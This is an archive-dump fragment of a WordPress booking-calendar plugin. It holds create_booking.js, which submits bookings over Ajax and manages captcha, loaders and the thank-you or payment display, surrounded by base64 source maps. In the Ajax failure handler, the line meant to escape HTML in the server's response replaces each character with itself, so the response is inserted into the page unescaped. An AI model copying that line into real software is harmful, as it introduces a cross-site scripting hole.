JjX3RpcHB5KCAnLnBvcG92ZXJfYm90dG9tLnBvcG92ZXJfY2xpY2snLCB7XHJcblx0XHRjb250ZW50KCByZWZlcmVuY2UgKXtcclxuXHRcdFx0dmFyIHBvcG92ZXJfdGl0bGUgPSByZWZlcmVuY2UuZ2V0QXR0cmlidXRlKCAnZGF0YS1vcmlnaW5hbC10aXRsZScgKTtcclxuXHRcdFx0dmFyIHBvcG92ZXJfY29udGVudCA9IHJlZmVyZW5jZS5nZXRBdHRyaWJ1dGUoICdkYXRhLWNvbnRlbnQnICk7XHJcblx0XHRcdHJldHVybiAnPGRpdiBjbGFzcz1cInBvcG92ZXIgcG9wb3Zlcl90aXBweVwiPidcclxuXHRcdFx0XHQrICc8ZGl2IGNsYXNzPVwicG9wb3Zlci1jbG9zZVwiPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnZvaWQoMClcIiBvbmNsaWNrPVwiamF2YXNjcmlwdDp0aGlzLnBhcmVudEVsZW1lbnQucGFyZW50RWxlbWVudC5wYXJlbnRFbGVtZW50LnBhcmVudEVsZW1lbnQucGFyZW50RWxlbWVudC5fdGlwcHkuaGlkZSgpO1wiID4mdGltZXM7PC9hPjwvZGl2PidcclxuXHRcdFx0XHQrIHBvcG92ZXJfY29udGVudFxyXG5cdFx0XHRcdCsgJzwvZGl2Pic7XHJcblx0XHR9LFxyXG5cdFx0YWxsb3dIVE1MICAgICAgICA6IHRydWUsXHJcblx0XHR0cmlnZ2VyICAgICAgICAgIDogJ21hbnVhbCcsXHJcblx0XHRpbnRlcmFjdGl2ZSAgICAgIDogdHJ1ZSxcclxuXHRcdGhpZGVPbkNsaWNrICAgICAgOiBmYWxzZSxcclxuXHRcdGludGVyYWN0aXZlQm9yZGVyOiAxMCxcclxuXHRcdG1heFdpZHRoICAgICAgICAgOiA1NTAsXHJcblx0XHR0aGVtZSAgICAgICAgICAgIDogJ3dwYmMtdGlwcHktcG9wb3ZlcicsXHJcblx0XHRwbGFjZW1lbnQgICAgICAgIDogJ2JvdHRvbS1zdGFydCcsXHJcblx0XHR0b3VjaCAgICAgICAgICAgIDogWydob2xkJywgNTAwXSxcclxuXHR9ICk7XHJcblx0alF1ZXJ5KCAnLnBvcG92ZXJfYm90dG9tLnBvcG92ZXJfY2xpY2snICkub24oICdjbGljaycsIGZ1bmN0aW9uICgpe1xyXG5cdFx0aWYgKCB0aGlzLl90aXBweS5zdGF0ZS5pc1Zpc2libGUgKXtcclxuXHRcdFx0dGhpcy5fdGlwcHkuaGlkZSgpO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0dGhpcy5fdGlwcHkuc2hvdygpO1xyXG5cdFx0fVxyXG5cdH0gKTtcclxuXHR3cGJjX2RlZmluZV9oaWRlX3RpcHB5X29uX3Njcm9sbCgpO1xyXG59XHJcblxyXG5cclxuXHJcbmZ1bmN0aW9uIHdwYmNfZGVmaW5lX2hpZGVfdGlwcHlfb25fc2Nyb2xsKCl7XHJcblx0alF1ZXJ5KCAnLmZsZXhfdGxfX3Njcm9sbGluZ19zZWN0aW9uMiwuZmxleF90bF9fc2Nyb2xsaW5nX3NlY3Rpb25zJyApLm9uKCAnc2Nyb2xsJywgZnVuY3Rpb24gKCBldmVudCApe1xyXG5cdFx0aWYgKCAnZnVuY3Rpb24nID09PSB0eXBlb2YgKHdwYmNfdGlwcHkpICl7XHJcblx0XHRcdHdwYmNfdGlwcHkuaGlkZUFsbCgpO1xyXG5cdFx0fVxyXG5cdH0gKTtcclxufVxyXG4iXSwiZmlsZSI6Il9kaXN0L2FsbC9fb3V0L3dwYmNfYWxsLmpzIn0= create_booking.js 0000666 00000260041 15166132433 0010070 0 ustar 00 "use strict"; // --------------------------------------------------------------------------------------------------------------------- // A j a x A d d N e w B o o k i n g // --------------------------------------------------------------------------------------------------------------------- /** * Submit new booking * * @param params = { 'resource_id' : resource_id, 'dates_ddmmyy_csv' : document.getElementById( 'date_booking' + resource_id ).value, 'formdata' : formdata, 'booking_hash' : my_booking_hash, 'custom_form' : my_booking_form, 'captcha_chalange' : captcha_chalange, 'captcha_user_input' : user_captcha, 'is_emails_send' : is_send_emeils, 'active_locale' : wpdev_active_locale } * */ function _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); } function wpbc_ajx_booking__create(params) { console.groupCollapsed('WPBC_AJX_BOOKING__CREATE'); console.groupCollapsed('== Before Ajax Send =='); console.log(params); console.groupEnd(); params = wpbc_captcha__simple__maybe_remove_in_ajx_params(params); // Start Ajax jQuery.post(wpbc_url_ajax, { action: 'WPBC_AJX_BOOKING__CREATE', wpbc_ajx_user_id: _wpbc.get_secure_param('user_id'), nonce: _wpbc.get_secure_param('nonce'), wpbc_ajx_locale: _wpbc.get_secure_param('locale'), calendar_request_params: params /** * Usually params = { 'resource_id' : resource_id, * 'dates_ddmmyy_csv' : document.getElementById( 'date_booking' + resource_id ).value, * 'formdata' : formdata, * 'booking_hash' : my_booking_hash, * 'custom_form' : my_booking_form, * * 'captcha_chalange' : captcha_chalange, * 'user_captcha' : user_captcha, * * 'is_emails_send' : is_send_emeils, * 'active_locale' : wpdev_active_locale * } */ }, /** * S u c c e s s * * @param response_data - its object returned from Ajax - class-live-searcg.php * @param textStatus - 'success' * @param jqXHR - Object */ function (response_data, textStatus, jqXHR) { console.log(' == Response WPBC_AJX_BOOKING__CREATE == '); for (var obj_key in response_data) { console.groupCollapsed('==' + obj_key + '=='); console.log(' : ' + obj_key + ' : ', response_data[obj_key]); console.groupEnd(); } console.groupEnd(); // <editor-fold defaultstate="collapsed" desc=" = Error Message! Server response with String. -> E_X_I_T " > // ------------------------------------------------------------------------------------------------- // This section execute, when server response with String instead of Object -- Usually it's because of mistake in code ! // ------------------------------------------------------------------------------------------------- if (_typeof(response_data) !== 'object' || response_data === null) { var calendar_id = wpbc_get_resource_id__from_ajx_post_data_url(this.data); var jq_node = '#booking_form' + calendar_id; if ('' == response_data) { response_data = '<strong>' + 'Error! Server respond with empty string!' + '</strong> '; } // Show Message wpbc_front_end__show_message(response_data, { 'type': 'error', 'show_here': { 'jq_node': jq_node, 'where': 'after' }, 'is_append': true, 'style': 'text-align:left;', 'delay': 0 }); // Enable Submit | Hide spin loader wpbc_booking_form__on_response__ui_elements_enable(calendar_id); return; } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" == This section execute, when we have KNOWN errors from Booking Calendar. -> E_X_I_T " > // ------------------------------------------------------------------------------------------------- // This section execute, when we have KNOWN errors from Booking Calendar // ------------------------------------------------------------------------------------------------- if ('ok' != response_data['ajx_data']['status']) { switch (response_data['ajx_data']['status_error']) { case 'captcha_simple_wrong': wpbc_captcha__simple__update({ 'resource_id': response_data['resource_id'], 'url': response_data['ajx_data']['captcha__simple']['url'], 'challenge': response_data['ajx_data']['captcha__simple']['challenge'], 'message': response_data['ajx_data']['ajx_after_action_message'].replace(/\n/g, "<br />") }); break; case 'resource_id_incorrect': // Show Error Message - incorrect booking resource ID during submit of booking. var message_id = wpbc_front_end__show_message(response_data['ajx_data']['ajx_after_action_message'].replace(/\n/g, "<br />"), { 'type': 'undefined' !== typeof response_data['ajx_data']['ajx_after_action_message_status'] ? response_data['ajx_data']['ajx_after_action_message_status'] : 'warning', 'delay': 0, 'show_here': { 'where': 'after', 'jq_node': '#booking_form' + params['resource_id'] } }); break; case 'booking_can_not_save': // We can not save booking, because dates are booked or can not save in same booking resource all the dates var message_id = wpbc_front_end__show_message(response_data['ajx_data']['ajx_after_action_message'].replace(/\n/g, "<br />"), { 'type': 'undefined' !== typeof response_data['ajx_data']['ajx_after_action_message_status'] ? response_data['ajx_data']['ajx_after_action_message_status'] : 'warning', 'delay': 0, 'show_here': { 'where': 'after', 'jq_node': '#booking_form' + params['resource_id'] } }); // Enable Submit | Hide spin loader wpbc_booking_form__on_response__ui_elements_enable(response_data['resource_id']); break; default: // <editor-fold defaultstate="collapsed" desc=" = For debug only ? -- Show Message under the form = " > // -------------------------------------------------------------------------------------------------------------------------------- if ('undefined' !== typeof response_data['ajx_data']['ajx_after_action_message'] && '' != response_data['ajx_data']['ajx_after_action_message'].replace(/\n/g, "<br />")) { var calendar_id = wpbc_get_resource_id__from_ajx_post_data_url(this.data); var jq_node = '#booking_form' + calendar_id; var ajx_after_booking_message = response_data['ajx_data']['ajx_after_action_message'].replace(/\n/g, "<br />"); console.log(ajx_after_booking_message); /** * // Show Message var ajx_after_action_message_id = wpbc_front_end__show_message( ajx_after_booking_message, { 'type' : ('undefined' !== typeof (response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ])) ? response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ] : 'info', 'delay' : 10000, 'show_here': { 'jq_node': jq_node, 'where' : 'after' } } ); */ } // </editor-fold> } // ------------------------------------------------------------------------------------------------- // Reactivate calendar again ? // ------------------------------------------------------------------------------------------------- // Enable Submit | Hide spin loader wpbc_booking_form__on_response__ui_elements_enable(response_data['resource_id']); // Unselect dates wpbc_calendar__unselect_all_dates(response_data['resource_id']); // 'resource_id' => $params['resource_id'], // 'booking_hash' => $booking_hash, // 'request_uri' => $_SERVER['REQUEST_URI'], // Is it the same as window.location.href or // 'custom_form' => $params['custom_form'], // Optional. // 'aggregate_resource_id_str' => implode( ',', $params['aggregate_resource_id_arr'] ) // Optional. Resource ID from aggregate parameter in shortcode. // Load new data in calendar. wpbc_calendar__load_data__ajx({ 'resource_id': response_data['resource_id'] // It's from response ...AJX_BOOKING__CREATE of initial sent resource_id , 'booking_hash': response_data['ajx_cleaned_params']['booking_hash'] // ?? we can not use it, because HASH chnaged in any case! , 'request_uri': response_data['ajx_cleaned_params']['request_uri'], 'custom_form': response_data['ajx_cleaned_params']['custom_form'] // Aggregate booking resources, if any ? , 'aggregate_resource_id_str': _wpbc.booking__get_param_value(response_data['resource_id'], 'aggregate_resource_id_arr').join(',') }); // Exit return; } // </editor-fold> /* // Show Calendar wpbc_calendar__loading__stop( response_data[ 'resource_id' ] ); // ------------------------------------------------------------------------------------------------- // Bookings - Dates _wpbc.bookings_in_calendar__set_dates( response_data[ 'resource_id' ], response_data[ 'ajx_data' ]['dates'] ); // Bookings - Child or only single booking resource in dates _wpbc.booking__set_param_value( response_data[ 'resource_id' ], 'resources_id_arr__in_dates', response_data[ 'ajx_data' ][ 'resources_id_arr__in_dates' ] ); // ------------------------------------------------------------------------------------------------- // Update calendar wpbc_calendar__update_look( response_data[ 'resource_id' ] ); */ // Hide spin loader wpbc_booking_form__spin_loader__hide(response_data['resource_id']); // Hide booking form wpbc_booking_form__animated__hide(response_data['resource_id']); // Show Confirmation | Payment section wpbc_show_thank_you_message_after_booking(response_data); setTimeout(function () { wpbc_do_scroll('#wpbc_scroll_point_' + response_data['resource_id'], 10); }, 500); }).fail( // <editor-fold defaultstate="collapsed" desc=" = This section execute, when NONCE field was not passed or some error happened at server! = " > function (jqXHR, textStatus, errorThrown) { if (window.console && window.console.log) { console.log('Ajax_Error', jqXHR, textStatus, errorThrown); } // ------------------------------------------------------------------------------------------------- // This section execute, when NONCE field was not passed or some error happened at server! // ------------------------------------------------------------------------------------------------- // Get Content of Error Message var error_message = '<strong>' + 'Error!' + '</strong> ' + errorThrown; if (jqXHR.status) { error_message += ' (<b>' + jqXHR.status + '</b>)'; if (403 == jqXHR.status) { error_message += '<br> Probably nonce for this page has been expired. Please <a href="javascript:void(0)" onclick="javascript:location.reload();">reload the page</a>.'; error_message += '<br> Otherwise, please check this <a style="font-weight: 600;" href="https://wpbookingcalendar.com/faq/request-do-not-pass-security-check/?after_update=10.1.1">troubleshooting instruction</a>.<br>'; } } if (jqXHR.responseText) { // Escape tags in Error message error_message += '<br><strong>Response</strong><div style="padding: 0 10px;margin: 0 0 10px;border-radius:3px; box-shadow:0px 0px 1px #a3a3a3;">' + jqXHR.responseText.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """).replace(/'/g, "'") + '</div>'; } error_message = error_message.replace(/\n/g, "<br />"); var calendar_id = wpbc_get_resource_id__from_ajx_post_data_url(this.data); var jq_node = '#booking_form' + calendar_id; // Show Message wpbc_front_end__show_message(error_message, { 'type': 'error', 'show_here': { 'jq_node': jq_node, 'where': 'after' }, 'is_append': true, 'style': 'text-align:left;', 'delay': 0 }); // Enable Submit | Hide spin loader wpbc_booking_form__on_response__ui_elements_enable(calendar_id); } // </editor-fold> ) // .done( function ( data, textStatus, jqXHR ) { if ( window.console && window.console.log ){ console.log( 'second success', data, textStatus, jqXHR ); } }) // .always( function ( data_jqXHR, textStatus, jqXHR_errorThrown ) { if ( window.console && window.console.log ){ console.log( 'always finished', data_jqXHR, textStatus, jqXHR_errorThrown ); } }) ; // End Ajax return true; } // <editor-fold defaultstate="collapsed" desc=" == CAPTCHA == " > /** * Update image in captcha and show warning message * * @param params * * Example of 'params' : { * 'resource_id': response_data[ 'resource_id' ], * 'url' : response_data[ 'ajx_data' ][ 'captcha__simple' ][ 'url' ], * 'challenge' : response_data[ 'ajx_data' ][ 'captcha__simple' ][ 'challenge' ], * 'message' : response_data[ 'ajx_data' ][ 'ajx_after_action_message' ].replace( /\n/g, "<br />" ) * } */ function wpbc_captcha__simple__update(params) { document.getElementById('captcha_input' + params['resource_id']).value = ''; document.getElementById('captcha_img' + params['resource_id']).src = params['url']; document.getElementById('wpdev_captcha_challenge_' + params['resource_id']).value = params['challenge']; // Show warning After CAPTCHA Img var message_id = wpbc_front_end__show_message__warning('#captcha_input' + params['resource_id'] + ' + img', params['message']); // Animate jQuery('#' + message_id + ', ' + '#captcha_input' + params['resource_id']).fadeOut(350).fadeIn(300).fadeOut(350).fadeIn(400).animate({ opacity: 1 }, 4000); // Focus text field jQuery('#captcha_input' + params['resource_id']).trigger('focus'); //FixIn: 8.7.11.12 // Enable Submit | Hide spin loader wpbc_booking_form__on_response__ui_elements_enable(params['resource_id']); } /** * If the captcha elements not exist in the booking form, then remove parameters relative captcha * @param params * @returns obj */ function wpbc_captcha__simple__maybe_remove_in_ajx_params(params) { if (!wpbc_captcha__simple__is_exist_in_form(params['resource_id'])) { delete params['captcha_chalange']; delete params['captcha_user_input']; } return params; } /** * Check if CAPTCHA exist in the booking form * @param resource_id * @returns {boolean} */ function wpbc_captcha__simple__is_exist_in_form(resource_id) { return 0 !== jQuery('#wpdev_captcha_challenge_' + resource_id).length || 0 !== jQuery('#captcha_input' + resource_id).length; } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" == Send Button | Form Spin Loader == " > /** * Disable Send button | Show Spin Loader * * @param resource_id */ function wpbc_booking_form__on_submit__ui_elements_disable(resource_id) { // Disable Submit wpbc_booking_form__send_button__disable(resource_id); // Show Spin loader in booking form wpbc_booking_form__spin_loader__show(resource_id); } /** * Enable Send button | Hide Spin Loader * * @param resource_id */ function wpbc_booking_form__on_response__ui_elements_enable(resource_id) { // Enable Submit wpbc_booking_form__send_button__enable(resource_id); // Hide Spin loader in booking form wpbc_booking_form__spin_loader__hide(resource_id); } /** * Enable Submit button * @param resource_id */ function wpbc_booking_form__send_button__enable(resource_id) { // Activate Send button jQuery('#booking_form_div' + resource_id + ' input[type=button]').prop("disabled", false); jQuery('#booking_form_div' + resource_id + ' button').prop("disabled", false); } /** * Disable Submit button and show spin * * @param resource_id */ function wpbc_booking_form__send_button__disable(resource_id) { // Disable Send button jQuery('#booking_form_div' + resource_id + ' input[type=button]').prop("disabled", true); jQuery('#booking_form_div' + resource_id + ' button').prop("disabled", true); } /** * Disable 'This' button * * @param _this */ function wpbc_booking_form__this_button__disable(_this) { // Disable Send button jQuery(_this).prop("disabled", true); } /** * Show booking form Spin Loader * @param resource_id */ function wpbc_booking_form__spin_loader__show(resource_id) { // Show Spin Loader jQuery('#booking_form' + resource_id).after('<div id="wpbc_booking_form_spin_loader' + resource_id + '" class="wpbc_booking_form_spin_loader" style="position: relative;"><div class="wpbc_spins_loader_wrapper"><div class="wpbc_spins_loader_mini"></div></div></div>'); } /** * Remove / Hide booking form Spin Loader * @param resource_id */ function wpbc_booking_form__spin_loader__hide(resource_id) { // Remove Spin Loader jQuery('#wpbc_booking_form_spin_loader' + resource_id).remove(); } /** * Hide booking form wth animation * * @param resource_id */ function wpbc_booking_form__animated__hide(resource_id) { // jQuery( '#booking_form' + resource_id ).slideUp( 1000 // , function (){ // // // if ( document.getElementById( 'gateway_payment_forms' + response_data[ 'resource_id' ] ) != null ){ // // wpbc_do_scroll( '#submiting' + resource_id ); // // } else // if ( jQuery( '#booking_form' + resource_id ).parent().find( '.submiting_content' ).length > 0 ){ // //wpbc_do_scroll( '#booking_form' + resource_id + ' + .submiting_content' ); // // var hideTimeout = setTimeout(function () { // wpbc_do_scroll( jQuery( '#booking_form' + resource_id ).parent().find( '.submiting_content' ).get( 0 ) ); // }, 100); // // } // } // ); jQuery('#booking_form' + resource_id).hide(); // var hideTimeout = setTimeout( function (){ // // if ( jQuery( '#booking_form' + resource_id ).parent().find( '.submiting_content' ).length > 0 ){ // var random_id = Math.floor( (Math.random() * 10000) + 1 ); // jQuery( '#booking_form' + resource_id ).parent().before( '<div id="scroll_to' + random_id + '"></div>' ); // console.log( jQuery( '#scroll_to' + random_id ) ); // // wpbc_do_scroll( '#scroll_to' + random_id ); // //wpbc_do_scroll( jQuery( '#booking_form' + resource_id ).parent().get( 0 ) ); // } // }, 500 ); } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" == Mini Spin Loader == " > /** * * @param parent_html_id */ /** * Show micro Spin Loader * * @param id ID of Loader, for later hide it by using wpbc__spin_loader__micro__hide( id ) OR wpbc__spin_loader__mini__hide( id ) * @param jq_node_where_insert such as '#estimate_booking_night_cost_hint10' OR '.estimate_booking_night_cost_hint10' */ function wpbc__spin_loader__micro__show__inside(id, jq_node_where_insert) { wpbc__spin_loader__mini__show(id, { 'color': '#444', 'show_here': { 'where': 'inside', 'jq_node': jq_node_where_insert }, 'style': 'position: relative;display: inline-flex;flex-flow: column nowrap;justify-content: center;align-items: center;margin: 7px 12px;', 'class': 'wpbc_one_spin_loader_micro' }); } /** * Remove spinner * @param id */ function wpbc__spin_loader__micro__hide(id) { wpbc__spin_loader__mini__hide(id); } /** * Show mini Spin Loader * @param parent_html_id */ function wpbc__spin_loader__mini__show(parent_html_id) { var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; var params_default = { 'color': '#0071ce', 'show_here': { 'jq_node': '', // any jQuery node definition 'where': 'after' // 'inside' | 'before' | 'after' | 'right' | 'left' }, 'style': 'position: relative;min-height: 2.8rem;', 'class': 'wpbc_one_spin_loader_mini 0wpbc_spins_loader_mini' }; for (var p_key in params) { params_default[p_key] = params[p_key]; } params = params_default; if ('undefined' !== typeof params['color'] && '' != params['color']) { params['color'] = 'border-color:' + params['color'] + ';'; } var spinner_html = '<div id="wpbc_mini_spin_loader' + parent_html_id + '" class="wpbc_booking_form_spin_loader" style="' + params['style'] + '"><div class="wpbc_spins_loader_wrapper"><div class="' + params['class'] + '" style="' + params['color'] + '"></div></div></div>'; if ('' == params['show_here']['jq_node']) { params['show_here']['jq_node'] = '#' + parent_html_id; } // Show Spin Loader if ('after' == params['show_here']['where']) { jQuery(params['show_here']['jq_node']).after(spinner_html); } else { jQuery(params['show_here']['jq_node']).html(spinner_html); } } /** * Remove / Hide mini Spin Loader * @param parent_html_id */ function wpbc__spin_loader__mini__hide(parent_html_id) { // Remove Spin Loader jQuery('#wpbc_mini_spin_loader' + parent_html_id).remove(); } // </editor-fold> //TODO: what about showing only Thank you. message without payment forms. /** * Show 'Thank you'. message and payment forms * * @param response_data */ function wpbc_show_thank_you_message_after_booking(response_data) { if ('undefined' !== typeof response_data['ajx_confirmation']['ty_is_redirect'] && 'undefined' !== typeof response_data['ajx_confirmation']['ty_url'] && 'page' == response_data['ajx_confirmation']['ty_is_redirect'] && '' != response_data['ajx_confirmation']['ty_url']) { jQuery('body').trigger('wpbc_booking_created', [response_data['resource_id'], response_data]); //FixIn: 10.0.0.30 window.location.href = response_data['ajx_confirmation']['ty_url']; return; } var resource_id = response_data['resource_id']; var confirm_content = ''; if ('undefined' === typeof response_data['ajx_confirmation']['ty_message']) { response_data['ajx_confirmation']['ty_message'] = ''; } if ('undefined' === typeof response_data['ajx_confirmation']['ty_payment_payment_description']) { response_data['ajx_confirmation']['ty_payment_payment_description'] = ''; } if ('undefined' === typeof response_data['ajx_confirmation']['payment_cost']) { response_data['ajx_confirmation']['payment_cost'] = ''; } if ('undefined' === typeof response_data['ajx_confirmation']['ty_payment_gateways']) { response_data['ajx_confirmation']['ty_payment_gateways'] = ''; } var ty_message_hide = '' == response_data['ajx_confirmation']['ty_message'] ? 'wpbc_ty_hide' : ''; var ty_payment_payment_description_hide = '' == response_data['ajx_confirmation']['ty_payment_payment_description'].replace(/\\n/g, '') ? 'wpbc_ty_hide' : ''; var ty_booking_costs_hide = '' == response_data['ajx_confirmation']['payment_cost'] ? 'wpbc_ty_hide' : ''; var ty_payment_gateways_hide = '' == response_data['ajx_confirmation']['ty_payment_gateways'].replace(/\\n/g, '') ? 'wpbc_ty_hide' : ''; if ('wpbc_ty_hide' != ty_payment_gateways_hide) { jQuery('.wpbc_ty__content_text.wpbc_ty__content_gateways').html(''); // Reset all other possible gateways before showing new one. } confirm_content += "<div id=\"wpbc_scroll_point_".concat(resource_id, "\"></div>"); confirm_content += " <div class=\"wpbc_after_booking_thank_you_section\">"; confirm_content += " <div class=\"wpbc_ty__message ".concat(ty_message_hide, "\">").concat(response_data['ajx_confirmation']['ty_message'], "</div>"); confirm_content += " <div class=\"wpbc_ty__container\">"; if ('' !== response_data['ajx_confirmation']['ty_message_booking_id']) { confirm_content += " <div class=\"wpbc_ty__header\">".concat(response_data['ajx_confirmation']['ty_message_booking_id'], "</div>"); } confirm_content += " <div class=\"wpbc_ty__content\">"; confirm_content += " <div class=\"wpbc_ty__content_text wpbc_ty__payment_description ".concat(ty_payment_payment_description_hide, "\">").concat(response_data['ajx_confirmation']['ty_payment_payment_description'].replace(/\\n/g, ''), "</div>"); if ('' !== response_data['ajx_confirmation']['ty_customer_details']) { confirm_content += " \t<div class=\"wpbc_ty__content_text wpbc_cols_2\">".concat(response_data['ajx_confirmation']['ty_customer_details'], "</div>"); } if ('' !== response_data['ajx_confirmation']['ty_booking_details']) { confirm_content += " \t<div class=\"wpbc_ty__content_text wpbc_cols_2\">".concat(response_data['ajx_confirmation']['ty_booking_details'], "</div>"); } confirm_content += " <div class=\"wpbc_ty__content_text wpbc_ty__content_costs ".concat(ty_booking_costs_hide, "\">").concat(response_data['ajx_confirmation']['ty_booking_costs'], "</div>"); confirm_content += " <div class=\"wpbc_ty__content_text wpbc_ty__content_gateways ".concat(ty_payment_gateways_hide, "\">").concat(response_data['ajx_confirmation']['ty_payment_gateways'].replace(/\\n/g, '').replace(/ajax_script/gi, 'script'), "</div>"); confirm_content += " </div>"; confirm_content += " </div>"; confirm_content += "</div>"; jQuery('#booking_form' + resource_id).after(confirm_content); //FixIn: 10.0.0.30 // event name // Resource ID - '1' jQuery('body').trigger('wpbc_booking_created', [resource_id, response_data]); // To catch this event: jQuery( 'body' ).on('wpbc_booking_created', function( event, resource_id, params ) { console.log( event, resource_id, params ); } ); } //# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiaW5jbHVkZXMvX2NhcGFjaXR5L19vdXQvY3JlYXRlX2Jvb2tpbmcuanMiLCJuYW1lcyI6WyJfdHlwZW9mIiwib2JqIiwiU3ltYm9sIiwiaXRlcmF0b3IiLCJjb25zdHJ1Y3RvciIsInByb3RvdHlwZSIsIndwYmNfYWp4X2Jvb2tpbmdfX2NyZWF0ZSIsInBhcmFtcyIsImNvbnNvbGUiLCJncm91cENvbGxhcHNlZCIsImxvZyIsImdyb3VwRW5kIiwid3BiY19jYXB0Y2hhX19zaW1wbGVfX21heWJlX3JlbW92ZV9pbl9hanhfcGFyYW1zIiwialF1ZXJ5IiwicG9zdCIsIndwYmNfdXJsX2FqYXgiLCJhY3Rpb24iLCJ3cGJjX2FqeF91c2VyX2lkIiwiX3dwYmMiLCJnZXRfc2VjdXJlX3BhcmFtIiwibm9uY2UiLCJ3cGJjX2FqeF9sb2NhbGUiLCJjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtcyIsInJlc3BvbnNlX2RhdGEiLCJ0ZXh0U3RhdHVzIiwianFYSFIiLCJvYmpfa2V5IiwiY2FsZW5kYXJfaWQiLCJ3cGJjX2dldF9yZXNvdXJjZV9pZF9fZnJvbV9hanhfcG9zdF9kYXRhX3VybCIsImRhdGEiLCJqcV9ub2RlIiwid3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZSIsIndwYmNfYm9va2luZ19mb3JtX19vbl9yZXNwb25zZV9fdWlfZWxlbWVudHNfZW5hYmxlIiwid3BiY19jYXB0Y2hhX19zaW1wbGVfX3VwZGF0ZSIsInJlcGxhY2UiLCJtZXNzYWdlX2lkIiwiYWp4X2FmdGVyX2Jvb2tpbmdfbWVzc2FnZSIsIndwYmNfY2FsZW5kYXJfX3Vuc2VsZWN0X2FsbF9kYXRlcyIsIndwYmNfY2FsZW5kYXJfX2xvYWRfZGF0YV9fYWp4IiwiYm9va2luZ19fZ2V0X3BhcmFtX3ZhbHVlIiwiam9pbiIsIndwYmNfYm9va2luZ19mb3JtX19zcGluX2xvYWRlcl9faGlkZSIsIndwYmNfYm9va2luZ19mb3JtX19hbmltYXRlZF9faGlkZSIsIndwYmNfc2hvd190aGFua195b3VfbWVzc2FnZV9hZnRlcl9ib29raW5nIiwic2V0VGltZW91dCIsIndwYmNfZG9fc2Nyb2xsIiwiZmFpbCIsImVycm9yVGhyb3duIiwid2luZG93IiwiZXJyb3JfbWVzc2FnZSIsInN0YXR1cyIsInJlc3BvbnNlVGV4dCIsImRvY3VtZW50IiwiZ2V0RWxlbWVudEJ5SWQiLCJ2YWx1ZSIsInNyYyIsIndwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2VfX3dhcm5pbmciLCJmYWRlT3V0IiwiZmFkZUluIiwiYW5pbWF0ZSIsIm9wYWNpdHkiLCJ0cmlnZ2VyIiwid3BiY19jYXB0Y2hhX19zaW1wbGVfX2lzX2V4aXN0X2luX2Zvcm0iLCJyZXNvdXJjZV9pZCIsImxlbmd0aCIsIndwYmNfYm9va2luZ19mb3JtX19vbl9zdWJtaXRfX3VpX2VsZW1lbnRzX2Rpc2FibGUiLCJ3cGJjX2Jvb2tpbmdfZm9ybV9fc2VuZF9idXR0b25fX2Rpc2FibGUiLCJ3cGJjX2Jvb2tpbmdfZm9ybV9fc3Bpbl9sb2FkZXJfX3Nob3ciLCJ3cGJjX2Jvb2tpbmdfZm9ybV9fc2VuZF9idXR0b25fX2VuYWJsZSIsInByb3AiLCJ3cGJjX2Jvb2tpbmdfZm9ybV9fdGhpc19idXR0b25fX2Rpc2FibGUiLCJfdGhpcyIsImFmdGVyIiwicmVtb3ZlIiwiaGlkZSIsIndwYmNfX3NwaW5fbG9hZGVyX19taWNyb19fc2hvd19faW5zaWRlIiwiaWQiLCJqcV9ub2RlX3doZXJlX2luc2VydCIsIndwYmNfX3NwaW5fbG9hZGVyX19taW5pX19zaG93Iiwid3BiY19fc3Bpbl9sb2FkZXJfX21pY3JvX19oaWRlIiwid3BiY19fc3Bpbl9sb2FkZXJfX21pbmlfX2hpZGUiLCJwYXJlbnRfaHRtbF9pZCIsImFyZ3VtZW50cyIsInVuZGVmaW5lZCIsInBhcmFtc19kZWZhdWx0IiwicF9rZXkiLCJzcGlubmVyX2h0bWwiLCJodG1sIiwibG9jYXRpb24iLCJocmVmIiwiY29uZmlybV9jb250ZW50IiwidHlfbWVzc2FnZV9oaWRlIiwidHlfcGF5bWVudF9wYXltZW50X2Rlc2NyaXB0aW9uX2hpZGUiLCJ0eV9ib29raW5nX2Nvc3RzX2hpZGUiLCJ0eV9wYXltZW50X2dhdGV3YXlzX2hpZGUiLCJjb25jYXQiXSwic291cmNlcyI6WyJpbmNsdWRlcy9fY2FwYWNpdHkvX3NyYy9jcmVhdGVfYm9va2luZy5qcyJdLCJzb3VyY2VzQ29udGVudCI6WyJcInVzZSBzdHJpY3RcIjtcclxuXHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4vLyAgQSBqIGEgeCAgICBBIGQgZCAgICBOIGUgdyAgICBCIG8gbyBrIGkgbiBnXHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuXHJcbi8qKlxyXG4gKiBTdWJtaXQgbmV3IGJvb2tpbmdcclxuICpcclxuICogQHBhcmFtIHBhcmFtcyAgID0gICAgIHtcclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAncmVzb3VyY2VfaWQnICAgICAgICA6IHJlc291cmNlX2lkLFxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdkYXRlc19kZG1teXlfY3N2JyAgIDogZG9jdW1lbnQ